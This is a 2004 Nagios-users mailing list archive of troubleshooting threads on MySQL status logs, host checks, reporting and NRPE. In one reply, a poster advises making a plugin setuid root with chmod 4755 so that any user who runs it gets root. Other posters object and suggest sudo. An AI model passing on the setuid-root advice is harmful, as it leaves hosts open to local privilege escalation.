> My question is : how i can exec this plugin with a root rights? My first thought is that it's Very Bad(tm) from a security standpoint. My second thought is to ask you to consider working within the filesystem and look at modifying group ownership and permissions to alleviate the need to run as root. My third thought is that if #2 can't work for you then perhaps you could run your plugin suid. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Mon Mar 22 16:07:42 2004 From: Daniel.Mesimer at med.va.gov (Mesimer, Daniel J.) Date: Mon, 22 Mar 2004 07:07:42 -0800 Subject: Nagios Process Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22DEF@VHAKANEXC1> Ok...I feel stupid. Should have checked that stuff already. I had forgotten to change the Database name from netsaint to what I had named it. Thanks for the smack updie the head. :) Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: Sean J. Schluntz [mailto:schluntz at workofstone.com] Sent: Monday, March 22, 2004 9:00 AM To: Mesimer, Daniel J. Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Nagios Process Did you change the MySQL username and password in the beginning of the script? Try running it by hand and see if you get any error output (I found the version I had couldn't properly handle an empty status table and I had to put in a return test to keep it from trying to do an empty compare. -Sean On Mar 22, 2004, at 6:22 AM, Mesimer, Daniel J. wrote: > Sean/All, > > I went ahead and replaced the 'check_nagios' binary with the Denao > script, > and it seems to have "sort of" worked. I now have: Process Status: > UNKNOWN & Nagios check command did not return any output. > > Is there some change I need to make to the script? > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: Sean J. Schluntz [mailto:schluntz at workofstone.com] > Sent: Friday, March 19, 2004 3:37 PM > To: Mesimer, Daniel J. > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Nagios Process > > > I had the same problem until I replaced the check_nagios binary with > the script by Denao which looks at the database for status instead of > the flat file. I can't locate the original, but would be happy to > forward you my copy. > > -Sean > > On Mar 19, 2004, at 1:07 PM, Mesimer, Daniel J. wrote: > >> Anyone who can shed some light, >> >> I have installed Nagios version 1.2 and have everything pretty much >> up and running OK. >> I compiled it to use a MySQL backend (and I am not too experienced >> with >> this) >> >> But I have the following issue: >> >> When viewing "Process Info", it states that the Nagios process is not >> running (but it is) and gives "Error: Cannot open status log for >> reading!" >> >> I am very confused by this, any help would be greatly appreciated or >> pointers to some more documentation. >> >> Thanks, >> >> Dan Mesimer >> Kansas City VA Medical Center >> Network Support >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. >> ::: Messages without supporting info will risk being sent to >> /dev/null >> >> >> > --- > Sean J. Schluntz > 510-264-1785 > Sr. Security Consultant Work of > Stone > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 22 16:33:21 2004 From: marc at ena.com (Marc Powell) Date: Mon, 22 Mar 2004 09:33:21 -0600 Subject: Nagios, MySQL, and Embedded Pearl Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A36E@mismail2.ena.com> It's more likely that you have multiple copies of Nagios running at the same time. -- Marc ________________________________ From: Mesimer, Daniel J. [mailto:Daniel.Mesimer at med.va.gov] Sent: Monday, March 22, 2004 8:27 AM To: Nagios Users Mailing List (nagios-users at lists.sourceforge.net) Subject: [Nagios-users] Nagios, MySQL, and Embedded Pearl All, I have compiled and installed Nagios with MySQL support for everything but extinfo and now it seems that *sometimes* Nagios can't pick up status information on any of the services (currently I only have 2 hosts configured) and therefore does not display any information or tells me I don't have permission (authentication is turned off right now). Should I have compiled Nagios with embedded pearl? Would this help out? I was thinking that it was having issues getting the status data out from the DB in a timely manner. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wcorcor at siue.edu Mon Mar 22 16:49:17 2004 From: wcorcor at siue.edu (Bill Corcoran) Date: Mon, 22 Mar 2004 09:49:17 -0600 Subject: why NRPE can't run whit root user ? In-Reply-To: <405EFB09.2050307@cti-paysloire.cnamts.fr> References: <405EFB09.2050307@cti-paysloire.cnamts.fr> Message-ID: <405F0AFD.2070908@siue.edu> if you can only run the plugin with root priv, consider running it setuid root. i'm not sure if nagios has some sort of protection against this, but it is probably what i would try. running apache suexec may give you some problems too, but again, worth a shot. as root, do a chown root on the file, then chmod 4755 or 6755. consult the man pages on chmod for more info. then, when anyone executes the plugin, the plugin will run as root. -bill LEBRETON Philippe wrote: > hello, > > I want to run NRPE with the root user but it is impossible. > I want to run NRPE with the root user because, i write some somme plugin > that can only work with this user. > My question is : how i can exec this plugin with a root rights? > > thanks > > Philippe LEBRETON > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jfountain at rbinc.com Mon Mar 22 16:55:18 2004 From: jfountain at rbinc.com (Jennifer Fountain) Date: Mon, 22 Mar 2004 10:55:18 -0500 Subject: Reporting Question Message-ID: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> Does anyone have a script or info on how to create a report that will show the state of a service at each check? I would like to export this report to excel and create line graphs, etc. For example, I have a test that opens a webpage and then spits out the amount of time it took to run the webpage. I want to graph the numbers (listed in status information) so I can see if the time is spiking. Kind Regards, Jennifer Fountain 3400 E. Walnut Street Colmar, PA 18915 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Mon Mar 22 17:17:24 2004 From: blakes_email at yahoo.com (Blake) Date: Mon, 22 Mar 2004 08:17:24 -0800 (PST) Subject: Reporting Question In-Reply-To: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> References: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> Message-ID: <20040322161724.40347.qmail@web10505.mail.yahoo.com> just a thought, another option is to configure Nagios to export results into RRD and gerenate RRD graphs. --- Jennifer Fountain wrote: > Does anyone have a script or info on how to create a > report that will > show the state of a service at each check? I would > like to export this > report to excel and create line graphs, etc. > > For example, I have a test that opens a webpage and > then spits out the > amount of time it took to run the webpage. I want > to graph the numbers > (listed in status information) so I can see if the > time is spiking. > > > Kind Regards, > > Jennifer Fountain > 3400 E. Walnut Street > Colmar, PA 18915 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Mon Mar 22 17:06:25 2004 From: blakes_email at yahoo.com (Blake) Date: Mon, 22 Mar 2004 08:06:25 -0800 (PST) Subject: I: Reporting - Availability In-Reply-To: References: Message-ID: <20040322160625.37779.qmail@web10505.mail.yahoo.com> This should be a good thing because %100 Time Undetermined means that your host(s) uptime is accounted for meaning no unscheduled downtime. If you had anything less than %100 then this would mean your host was unavailable for a undetermined reason? If I am incorrect someone please tell me. --Blake --- Marco Borsani wrote: > > Hey Guys, > > did anyone met problems using the Availability CGI > (about Reporting) with > Nagios ? > > I have many hosts with 100% Time Undetermined. > > > > Many thanks > > Marco > __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Mon Mar 22 17:23:46 2004 From: ae at op5.se (Andreas Ericsson) Date: Mon, 22 Mar 2004 17:23:46 +0100 Subject: Reporting Question In-Reply-To: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> References: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> Message-ID: <405F1312.30006@op5.se> You might want to have a look at cacti. www.raxnet.net is the url AFAIR. It's a bit of a hassle to setup, but real easy to work with once you've got it all down pat. If it's only Excel you're interested in, I'm afraid you won't get very far without heavy document format analysis and some serious programming. Cheers, Andreas Ericsson Jennifer Fountain wrote: > Does anyone have a script or info on how to create a report that will > show the state of a service at each check? I would like to export this > report to excel and create line graphs, etc. > > For example, I have a test that opens a webpage and then spits out the > amount of time it took to run the webpage. I want to graph the numbers > (listed in status information) so I can see if the time is spiking. > > > Kind Regards, > > Jennifer Fountain > 3400 E. Walnut Street > Colmar, PA 18915 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Mon Mar 22 17:27:30 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 22 Mar 2004 08:27:30 -0800 (PST) Subject: why NRPE can't run whit root user ? In-Reply-To: <405F0AFD.2070908@siue.edu> References: <405EFB09.2050307@cti-paysloire.cnamts.fr> <405F0AFD.2070908@siue.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It would be a better idea do have the plugin execute 'sudo' to do whatever privileged operation it needs to do. - -Jason Martin On Mon, 22 Mar 2004, Bill Corcoran wrote: > if you can only run the plugin with root priv, consider running it > setuid root. i'm not sure if nagios has some sort of protection against > this, but it is probably what i would try. running apache suexec may > give you some problems too, but again, worth a shot. > > as root, do a chown root on the file, then chmod 4755 or 6755. consult > the man pages on chmod for more info. then, when anyone executes the > plugin, the plugin will run as root. > > -bill > > > LEBRETON Philippe wrote: > > hello, > > > > I want to run NRPE with the root user but it is impossible. > > I want to run NRPE with the root user because, i write some somme plugin > > that can only work with this user. > > My question is : how i can exec this plugin with a root rights? > > > > thanks > > > > Philippe LEBRETON > > > > > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > > reporting any issue. ::: Messages without supporting info will risk > > being sent to /dev/null > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAXxP5l2ODWuqVSBMRAhxgAJ9myDGIRK9V0OQ8025XxXY/MY3O1ACfeleZ ncEw0c/3Lf6RPWx+8AWEsY8= =riZM -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 22 17:34:39 2004 From: marc at ena.com (Marc Powell) Date: Mon, 22 Mar 2004 10:34:39 -0600 Subject: Reporting Question Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A370@mismail2.ena.com> On Monday, March 22, 2004 9:55 AM, Jennifer Fountain shared with us: > Does anyone have a script or info on how to create a report that will > show the state of a service at each check? I would like to export > this report to excel and create line graphs, etc. > > For example, I have a test that opens a webpage and then spits out > the amount of time it took to run the webpage. I want to graph the > numbers (listed in status information) so I can see if the time is > spiking. You might want to look at APAN (http://apan.sourceforge.net/). Many people here use it and I believe it fits what you are looking for (at least as far as graphing). -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Mon Mar 22 17:45:37 2004 From: blakes_email at yahoo.com (Blake) Date: Mon, 22 Mar 2004 08:45:37 -0800 (PST) Subject: Host assumed to be up? Message-ID: <20040322164537.65655.qmail@web10503.mail.yahoo.com> actually there might be one more thing I can ask you to check .. please check using the Nagios web interface your performance info and scheduling queue .. it might be that checks are scheduled but not being performed ... I had this problem and changed my normal check interval from 60 seconds to 120 seconds and things started to run normal. I do not know why this is the case. --- Blake wrote: > > in your hosts.cfg, is checks_enable = 0 or 1 ? it > would be more helpful to have more information about > your configuration. > > FYI - note from the FAQ: After services associated > with the host are initially checked and found to be > in > an OK state, Nagios will assume that the host is up > and running fine. That's why the status information > is > set to "(Host assumed to be up)". If Nagios needs to > actually verify the status of the host at some point > in the future, the status information will be > changed > to reflect the output of the host check command. > > > > > --- Norm Dressler wrote: > > In my Host Details view, even though a server is > > down, it's showing as > > green. The services are showing properly that the > > server is down. > > > > In the Status Information field it says "Host > > assumed to be up". I have > > check-host-alive assigned to every server. What > am > > I missing? > > > > Norm > > > > > > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux > > Tutorials > > Free Linux tutorial presented by Daniel Robbins, > > President and CEO of > > GenToo technologies. Learn everything from > > fundamentals to system > > > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version > > (-v) and OS when reporting any issue. > > ::: Messages without supporting info will risk > being > > sent to /dev/null > > > __________________________________ > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on > time. > http://taxes.yahoo.com/filing.html > __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Mon Mar 22 17:19:54 2004 From: blakes_email at yahoo.com (Blake) Date: Mon, 22 Mar 2004 08:19:54 -0800 (PST) Subject: Reporting Question In-Reply-To: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> References: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> Message-ID: <20040322161954.15853.qmail@web10501.mail.yahoo.com> I think you could create a script to grep/awk the nagios/var/status.log for the status results of specific service checks. --- Jennifer Fountain wrote: > Does anyone have a script or info on how to create a > report that will > show the state of a service at each check? I would > like to export this > report to excel and create line graphs, etc. > > For example, I have a test that opens a webpage and > then spits out the > amount of time it took to run the webpage. I want > to graph the numbers > (listed in status information) so I can see if the > time is spiking. > > > Kind Regards, > > Jennifer Fountain > 3400 E. Walnut Street > Colmar, PA 18915 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Mon Mar 22 17:44:43 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 22 Mar 2004 11:44:43 -0500 (EST) Subject: Problem with statusmap coordonates In-Reply-To: <200403201705.47004.vincent@ahoup.net> References: <200403201705.47004.vincent@ahoup.net> Message-ID: On Sat, 20 Mar 2004, Vincent Derrien wrote: > Hello, > > When I want to display the statusmap with all layou method, nagios say that > I've not indicate any coordonate. How can I solve this problem ? Using the user-defined coordinates layout requires that you define coordinates. Basically, this layout allows you to position hosts anywhere you like on the map, rather than having Nagios do it for you -- so you could do things like group hosts according to install site, or any other arbitrary grouping you can think of. http://nagios.sourceforge.net/docs/1_0/xedtemplate.html#hostextinfo -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Mon Mar 22 17:55:22 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 22 Mar 2004 11:55:22 -0500 (EST) Subject: Host assumed to be up? In-Reply-To: <27a84d861510c411a64afa4703fd86b8@fpott01.dinmar.com> References: <27a84d861510c411a64afa4703fd86b8@fpott01.dinmar.com> Message-ID: On Mon, 22 Mar 2004, Norm Dressler wrote: > In my Host Details view, even though a server is down, it's showing as > green. The services are showing properly that the server is down. > > In the Status Information field it says "Host assumed to be up". I have > check-host-alive assigned to every server. What am I missing? You haven't included any information about your configuration. Have you got a host check_command defined? -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Mon Mar 22 17:15:01 2004 From: blakes_email at yahoo.com (Blake) Date: Mon, 22 Mar 2004 08:15:01 -0800 (PST) Subject: Host assumed to be up? In-Reply-To: <27a84d861510c411a64afa4703fd86b8@fpott01.dinmar.com> References: <27a84d861510c411a64afa4703fd86b8@fpott01.dinmar.com> Message-ID: <20040322161501.80922.qmail@web10510.mail.yahoo.com> in your hosts.cfg, is checks_enable = 0 or 1 ? it would be more helpful to have more information about your configuration. FYI - note from the FAQ: After services associated with the host are initially checked and found to be in an OK state, Nagios will assume that the host is up and running fine. That's why the status information is set to "(Host assumed to be up)". If Nagios needs to actually verify the status of the host at some point in the future, the status information will be changed to reflect the output of the host check command. --- Norm Dressler wrote: > In my Host Details view, even though a server is > down, it's showing as > green. The services are showing properly that the > server is down. > > In the Status Information field it says "Host > assumed to be up". I have > check-host-alive assigned to every server. What am > I missing? > > Norm > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Mon Mar 22 16:57:41 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Mon, 22 Mar 2004 11:57:41 -0400 Subject: Host assumed to be up? In-Reply-To: References: Message-ID: <1fa94d861510c411a64afa4703fd86b8@fpott01.dinmar.com> Yes, each host has check-host-alive assigned to it in the config for the host itself. I'm running a relatively small config doing small checks only right now. -----Original Message----- From: mattp at office-mail.cira.ca [mailto:mattp at office-mail.cira.ca]On Behalf Of Matt Pounsett Sent: Monday, March 22, 2004 11:55 AM To: Norm Dressler Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Host assumed to be up? On Mon, 22 Mar 2004, Norm Dressler wrote: > In my Host Details view, even though a server is down, it's showing as > green. The services are showing properly that the server is down. > > In the Status Information field it says "Host assumed to be up". I have > check-host-alive assigned to every server. What am I missing? You haven't included any information about your configuration. Have you got a host check_command defined? -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Mon Mar 22 18:07:15 2004 From: james at expresscomputers.com (James Bowes) Date: Mon, 22 Mar 2004 09:07:15 -0800 Subject: Revisiting distributed monitoring Message-ID: Hi folks. When last I posted I was working on submitting passive checks from a distributed box to a central box. I have followed along with other posts which may have some information on this though I still need some help to clarify my understanding... The question is, if execute_service_checks = "0" on the central box and is set to "1" on the distributed box then only the distributed box should check the services or other things I am wanting to check... Is this correct? I went through the services.cfg file on the server and made sure "active_checks_enabled" is set to "0" on the central box and "1" on the distributed box. I also made sure the "passive_checks_enabled" is set to "1" on the central box and "0" on the distributed box. The problem I am experiencing is that I can shutdown the distributed box and the central box will still check things out... BTW, I have the 2 boxes on a LAN for testing. Thanks for any and all pointers! --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Mon Mar 22 19:11:33 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Mon, 22 Mar 2004 12:11:33 -0600 Subject: check_nt problem Message-ID: 